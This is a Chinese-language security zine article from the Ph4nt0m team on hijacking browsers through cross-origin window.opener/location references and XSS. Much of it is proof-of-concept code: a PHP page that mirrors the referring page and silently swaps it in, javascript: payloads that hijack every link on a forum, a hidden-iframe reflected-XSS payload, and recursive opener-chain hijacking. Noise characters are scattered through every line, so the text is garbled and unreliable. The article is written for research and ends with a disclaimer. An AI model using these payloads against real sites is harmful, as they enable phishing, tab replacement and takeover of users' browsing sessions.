==Ph4nt0m Security Team==2 J' }- o3 k2 H L2 x* ^
$ l% x& h5 j% b Issue 0x03, Phile #0x05 of 0x07" I1 k* [( r. {6 S5 U k
" D+ t! x4 s& I6 E1 l8 I
/ ]) j& y9 a1 a2 M|=---------------------------------------------------------------------------=|$ f4 O' L' m7 X* E! g! o, N
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|' o/ j8 ? H7 ^$ Y
|=---------------------------------------------------------------------------=|
" n1 Q7 R3 f7 g1 Q|=---------------------------------------------------------------------------=|
5 O1 i% w% G" \|=------------------------=[ By rayh4c ]=---------------------------=|
. |/ M+ s8 D1 L) [" S1 o|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|9 G2 m& z" W* j
|=---------------------------------------------------------------------------=|' {: @; g p: r; B' n. W( F
3 b% @% Y7 c4 p- `' ?% T6 f8 T/ {
4 ]* u" W- G+ c9 @; x' H6 B J& |[目录]6 o5 M y0 u- ]% R1 M2 b
5 t1 v' e2 {& o1. 前言, K( X% X- h# ^4 ]+ B( g% i
2. 同源策略简叙
9 p# Q' v8 G2 H- Y1 |* Y3. 理解window对象的同源策略% b: p2 U4 K$ R1 |1 k
4. 窗口引用功能中的同源策略漏洞
- w) J& I% w" ?. T; K6 P0 Y 4.1 父窗口引用子窗口的同源策略问题( v ] a+ q+ Q( J7 u& b
4.2 子窗口引用父窗口的同源策略问题3 P5 e' o& r$ ?5 t% o# C* D) F* C; C
5. 利用窗口引用漏洞劫持浏览器
# q V6 W% G F# k4 T5 q, P$ c6. 利用XSS漏洞劫持浏览器2 x0 L+ k6 y, Z7 q
6.1 正向跨窗口劫持
4 q9 C8 a7 T. j3 d9 j# z! Q 6.2 反向跨窗口劫持! |5 d6 |1 T- s/ L3 a l
6.3 极度危险的跨框架窗口引用劫持
4 g% X3 y5 ]- N d( t8 N) X 6.4 极度危险的正反向跨窗口递归劫持
& r- O1 F, v, H3 O 6.5 完全控制浏览器
5 ?( h* w/ m7 a7. 后记8 x! X3 p. N/ `2 w
8. 参考/ T$ N5 _; W6 Y, C! J0 p& |
& ~7 H2 Y( A. t8 q9 ?: V+ x" @) o( Y& P7 `0 w; v
一、前言; G6 s7 {$ R7 @! u; r
( P1 @5 T2 o, U- O8 J" N
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋" M4 q9 @5 {4 \7 M& |1 j3 k% A
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
3 W# p- f1 T0 `/ S劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被 v+ I" {3 {$ y! }# r) f
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
' T& p6 @% b& f5 ^9 c* _8 ]8 a A8 r% h4 Y7 R
- m: X" \7 ]) t! U. ]; h
二、同源策略简叙6 C/ P5 ~7 T9 q9 Y4 @ q
/ x8 U2 h& x; L3 h
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以3 H) Y1 L3 S* C5 x& S* ]
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
3 o) d3 E" Q6 l( e7 }2 U4 K& m! T' c曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
7 l8 v& ?2 T9 D, F马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
3 n; W6 J5 K! ]3 X漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
* [9 v) y9 T; F5 \4 I
! K; @; G2 i. _. P6 x
! ^ W8 N4 J' j1 `5 o+ w. G: b1 E三、理解window对象的同源策略
" v' G/ Y* ^& T
; |+ M9 H6 Q! X 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
6 j/ l- Q3 D0 K象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:- b; B( N8 E2 d" \
# E* M# k4 A3 t$ D. o
--code-------------------------------------------------------------------------- i, M! Q5 I9 F3 S0 G5 U* [
<script language="javascript">
5 `% o$ T: m" }& Q; S' wfor(p in window) document.write(p+"<br>");9 W! r6 f2 k+ l, d L9 N- j1 T: S: f
</script>6 A5 y" N5 U% K4 S; }1 h! G
-------------------------------------------------------------------------------4 w6 [0 @! L; E# T! U, N1 s p8 o4 Z
; p# ]7 S* v" t4 j( J
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方; M0 x/ A1 N' m: x' m# H/ M
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
# w9 }2 a# n: k8 O) c4 N" Y这些属性和方法就必须遵循同源策略。5 t, B' S" D5 N* C+ u: |3 {
3 F' A7 I/ t; ~5 E
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
5 G7 n a; j J7 |2 H么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
, W( O& ^, @% j' M9 y; [的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
( C& \' T2 ]+ E9 `/ ^9 ^个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
+ Q& t4 }% [2 W1 U' i5 ]0 r+ O值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location8 \! m# d+ Q: V. M+ C* }
属性并没有被拒绝访问。* U+ [ D5 ~8 U
, O2 O1 H+ N0 L3 s" l) p* V( g4 h6 J
--demo.html--------------------------------------------------------------------
5 L& s) `& `4 }1 v2 S$ @<script language="javascript">
" ~$ k0 D- g6 lfunction allPrpos(obj) { / f( A2 f) k) m8 X, r3 G
var props = "<table><tr><td>名称</td><td>值</td>"; ) b9 U0 h: U; \
for(var p in obj){ 6 f" Q7 U- ^( y" S; D: T
if(typeof(obj[p])=="function"){
5 h! `# W: D. b4 ~; b4 E) T2 p# { obj[p]();
9 y' K1 Q1 y( F2 r1 O& B6 _ }else{
3 ?/ L& }& P* t! }: y* ~- _ try
& H& Y, j0 t# X/ m {
) g' j: C G6 o% V props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
4 e( F3 K) [! x9 o; Y }
7 J* L) w% B8 ]7 t2 z5 U8 f/ x/ u catch (ex) % \, E2 Z5 Y2 [
{ 6 h/ [& j6 ], T6 r% E& `' h
+ l" F# g+ V, F# v' n
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; " R0 H7 i/ ~, X& f( C
}
8 U2 e0 u' @4 J# ?0 r& ]1 K- S 4 q; ]2 n5 V$ g4 S
}
$ n- T9 @; c, W1 a! d }
* P* N' q$ M( h
. g% R7 h# ~" i; |" V/ }: b( G0 i document.write(props+"</table>");
2 u$ W" `, M7 n) |! F+ {: j4 b6 G}
& D# D1 K3 o! x+ I ! ~! A! C/ S% W; z7 d+ ]/ @
function createWin() {
7 j5 g1 z1 Y% r) C8 V1 D newWin = window.open ("http://www.google.com"); / y1 `# l; z/ u# g" L! u' P1 I1 @ J
setTimeout(function(){allPrpos(newWin)},2000); 6 x- Q* o* L, s Z( n* c$ Y
}
$ D/ ?7 M4 Y7 z% \. u4 K3 k1 ]* E O; M! R( ]6 X2 b b
</script> 2 H8 q* M" \! ^
' V, t' @! }5 D4 B; g6 t4 P! y7 i8 f- M2 V<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 l6 @+ I* i3 G-------------------------------------------------------------------------------- a" e# Y2 ~9 g' ?0 ~4 U0 e1 h
3 q+ S' W' |0 Q% t @; }
, ?% F2 ]: L4 w. p
四、窗口引用功能中的同源策略漏洞, L& i: y8 G# Y0 O3 d
' A4 K! v5 @* [4.1 父窗口引用子窗口的同源策略问题
7 ]! U6 c5 h6 g4 c# n9 w1 j
9 I4 H% m& f% b9 h' J 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
0 K; k! a: e+ j% G但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道4 x5 G0 i1 i: N$ R2 J/ e& w0 [
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进4 P G( Y5 ^7 P+ m
行测试,会发现父窗口可以控制非同源子窗口location属性值。2 W) Y4 v! F; f& \' i8 ?
, S5 P6 m1 k- G
--vul1.html--------------------------------------------------------------------
- X$ S9 v: V+ g6 U<script language="javascript">
( f: ~+ B$ k4 q, r Hfunction createWin() { 9 f! _# p |8 J4 j2 D
newWin = window.open ("http://www.google.com");
( @( m! H+ b+ `' E" i8 V setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
& X; ?. L0 x4 `/ R& m} - o( e2 o$ O2 ~1 m' v, d
</script>
4 S9 E3 b8 c) t. `$ _/ f4 A2 I
' K' J! ~7 C* B+ l* U: x<button onclick='createWin()'>创建一个非同源子窗口测试</button>
) W' U6 u6 \+ U3 ~; ~: U& K( ?-------------------------------------------------------------------------------5 o. L( C* y* T \5 V7 o" I3 |8 g
1 o- Q& U7 c \1 k; G
* a# E8 q* R Q8 a4.2 子窗口引用父窗口的同源策略问题
- p: a( g! d7 }3 E5 r$ C8 Z
4 ] Z" }0 U: c) @% I+ Z2 K 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
1 P' _& ]; w7 y& q$ ]用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们: E/ s, F5 k8 C! _* ^1 J( b
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
% t, x" l& }1 l: ]1 ` J: D会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。0 z% m: T# a. p6 R; b! Y- y; C
) X( q% O5 ]1 x3 ?2 J--code-------------------------------------------------------------------------
. z6 w# v! W8 M! M# I! n2 D
8 M9 q) `5 d9 v6 g" p' Rjavascript:window.opener.location = "http://www.80sec.com";void(0);) @ p" @! \& ~$ _- c
7 }, N& I. R" }( O
-------------------------------------------------------------------------------
9 s/ Z' w, q; `3 x
: L7 q$ o% e6 z# i- |0 e+ [& `: x1 Q' c; ~! Q
五、利用窗口引用漏洞劫持浏览器
4 ?. @. B2 t0 ?) {; ~; ^( ]
7 L3 Z3 N, w: G4 b; h( Q v. { 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
3 X+ E, L O# w' [9 q# Z( C窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那- O7 H: F7 C, ~/ x6 f5 L: g3 |
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。 Y0 B7 H: r. f8 i# U) T$ w
: \& E3 S! j9 m; w
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产) \+ T7 Q; l( @5 z, {9 i
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或; j. z/ n8 T9 z% e3 r+ J2 R' }# u% v
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接! ?; w: z" o9 X$ W! _
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下+ ]/ Z+ M% Z' V% f( V6 F; ]
会产生什么可怕的后果。
( w1 |5 y7 l2 n. Z) g0 d+ v Z1 C$ f4 `8 j+ _7 q8 J& O, z5 t
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我/ {2 B6 S+ p/ h% \" \* Q4 `* Z. K5 a+ U
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php! x) s! q( w2 D9 O% J
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时" A1 B' X* q% ?
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可0 I' k2 b; J! B2 d* o/ }1 b' M
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
( Y4 b4 q/ }: r9 F; o2 p/ U- z3 J: V" k. @' Q) I! f
--hjk_ref.php------------------------------------------------------------------
; n/ J& y" V% ^- i" X/ e<?php5 r" a* w9 {2 m. a% y
if (array_key_exists("HTTP_REFERER", $_SERVER)) {% j* P: ^' O. ~$ I9 V) K
$Url_Mirror = $_SERVER["HTTP_REFERER"];
, Q8 I6 o9 c$ S) P8 D0 v}
' S, o: j4 V) @/ k( Mif(isset ($_GET['ref'])) {5 b- V' i% J4 s# v: l( _# h4 }
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
% P% n) e$ {1 {, t9 `8 f}
. V1 p {# t% q2 X?>$ O. y* J- l8 B4 Y
. F: ~" M. `- Y; L$ K$ l- q3 `9 v* n
<script language="javascript">
' z2 h) ?! B' L' H8 x# y9 V/ lsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
' T+ T7 _: a! k9 O0 f</script>
9 q: e/ O4 \# I' w3 u A" t-------------------------------------------------------------------------------" b; F* w5 `' B$ K( D
" v4 F0 ~& x. P' m2 ^) |3 a
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
; b/ j" y7 y Z7 }
4 {; u" n3 ]% R& A8 X) v
+ ?1 G( g4 x, U3 H' }8 t六、利用XSS漏洞劫持浏览器% E3 L9 a! n* A
. `4 D6 @6 ^, f F& c! ] j$ `
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
' H8 l F2 s( d f持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
: u( C; s8 [$ n' h6 m! v& SXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
1 X: v9 s# \/ D1 o8 O% V讨论跨站师的终极技巧:5 c3 Q, y9 p; F/ j7 r2 c
/ n; R! @3 H; X# ^8 J1 C0 q% n u
' M: {# y( h6 S4 i+ s6 O$ a# q
6.1 正向跨窗口劫持+ ~1 e/ j) Z; q1 t# L; {* n
- L6 H- F. Y7 I5 ~# v. O 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
0 }7 G! }! l, F& S主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链% y8 J. l! l8 q3 [9 o% H
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话) D) i% y! E t+ j6 D4 ]4 U
框脚本。 0 i, X1 G, K6 G; _: L! Q+ |" L
1 g# ?9 M# y0 i* v$ S3 h
--hijack_open.js---------------------------------------------------------------9 m, S8 ]; C5 ]. d+ `
) V' d6 P1 B n# e4 {1 V* Jjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
5 A4 S( g9 X; \+ K$ Q d0 d8 W7 }2 Y; w7 l/ _
-------------------------------------------------------------------------------
" {6 ?& p r* f. g8 N' `" c# M: ^. Q) o% n& g" Q
% V( K3 V& {; w
6.2 反向跨窗口劫持
/ y6 q% M1 \6 a) g4 V& O& P' q: [2 J* Z7 R- S: z
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代! a4 p9 t; M' t) [4 N5 }$ L
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话& C9 {( l; w$ a6 `0 a* u) h% K% ^# l
框脚本。- r$ e. S- I% Y4 r: d2 a3 r# r
Z, ~3 Z/ y% C8 a6 A# Y8 ]--hijack_opener.js-------------------------------------------------------------
5 n% Y' R: K* `0 s4 M& f9 v9 y; K* }3 z: b, j* w
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);& c' h' p8 }. `2 C3 J1 W8 y9 r
# m& T' O [6 l" h4 Y i2 @
-------------------------------------------------------------------------------, O( C& W: [7 q t
5 o+ L8 b4 F; |0 ^6 ]7 R
4 p; g8 ^; t) ~* ]
6.3 极度危险的跨框架窗口引用劫持! b+ f/ _0 }# B Z- A+ S& I
3 t' x+ ~- P2 @2 s& `7 [5 J# _: P 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞; R4 F) o# T# ]9 w
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
' ]3 ]$ n: t6 o2 y: h适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个; ^% l3 w; W" W; e; s! e
非持久型的XSS,如下:
% |2 ~( f$ ^' p% a3 [
$ f' M( v x' Z8 G% p, R<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
: W' Y5 i2 `/ k0 C! U+ a
9 a z, `" l$ \3 p 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
, B8 s0 q J& [% n: f2 k2 b2 \注入脚本。
* b4 R# Z) s2 @$ ^* n8 J& }
* [" @" ?9 i2 T& i--hijack_frame_opener.js-------------------------------------------------------
" Z7 j/ @2 e9 H* j$ y( N1 N<script>
) H+ P" l3 O% C( b& a+ {3 _; b8 Lwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";% }1 f+ V V( S4 a! j7 m5 R( M
</script>! g4 R6 H/ E* b. p
-------------------------------------------------------------------------------
0 f1 ?+ _" c! s$ O3 x- ]3 ]+ Q, G! ^" i& _
+ O% t9 h9 p% ~
6.4 极度危险的正反向跨窗口递归劫持
( s2 ?7 y Q: _
2 U& }. l* h d# h1 O( _( T- f luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window3 h# p# X$ i; U W
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过# s( {- I0 Q5 n4 P
异常处理规避之间跨域页面的访问异常,代码如下:+ ]6 X# e* g$ M5 Z# H0 O
% z0 B/ D) H) T; {
--code-------------------------------------------------------------------------
# e* M" b% K. B! Q7 z1 G) h: e/ K* w
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);% W6 S: c, E' z# H( Z4 ^
' t2 h& ]6 ?: H9 p* |+ Z-------------------------------------------------------------------------------& u% L( @3 ]/ N$ n
. Q; H* C& q' o/ N/ U 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可4 N) B* g" [2 Q2 J
以劫持B域之前的A域页面,从而实现“隔空打击”。0 g; D% I; E* I. t
) U0 S* v+ a( u! g3 X$ e0 g 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
! W) v2 }4 I( n* I+ z, \% u执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
& r! I6 M$ B* T( g: q0 @7 K8 \& U: m2 l% u" g4 E1 I6 @2 [
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。# I/ U2 i# J- p3 z* V0 H
8 k+ ^' Z) U# @
7 D: i, \) s3 K ] N6.5 完全控制浏览器7 d; G# t+ o7 w9 Q. ^
- a5 p5 y" w7 k' {
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
; N T/ [3 t; K6 J5 |: w是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
) i; [5 e5 I3 a, l漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
1 t" d' j5 H% i D! t; g而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
3 U7 P' w6 g; u8 e! f列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站 L. J& O4 y: M8 Z+ m
师的终极目标 - 完全控制浏览器。# y8 n( i! a8 P8 f
4 t8 H& a- T! e. j# m
8 R q5 J+ K9 c2 s/ w七、后记% \3 c& T6 g5 v ^4 o5 p7 ~
7 g& f5 {/ e: t; h. {$ o 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
9 ^- P) W' Q% P* `$ s与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予# B" k' U$ n5 a7 W# ?: O: G
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。; a$ w# Y2 h$ t9 Q% q& e
' c& K6 h3 d" T3 w6 E6 Z" A% N
1 j" P* W3 E2 Z# w% w1 I& S! n
八、参考0 e/ a/ b, `/ D- k; F! A
" z" O# w2 ^! u$ M& p1. http://en.wikipedia.org/wiki/Same_origin_policy9 h, {4 c& o( a/ J
2. http://code.google.com/p/browser ... licy_for_DOM_access
2 Z' c, c* m, \0 }9 i: {! V- r% R3. http://www.w3.org/TR/Window/) k9 w S( R8 S h3 a
4. http://www.80sec.com/release/browser-hijacking.txt. r3 N Q1 i7 D8 E3 z. P
5. http://www.80sec.com/all-browser-security-alert.html$ P, O4 Z; H, j
6. http://www.80sec.com/ms08-058-attacks-google.html" Z% Y v7 E- }# c
4 r2 ~; i' D3 u+ @. D
-EOF- |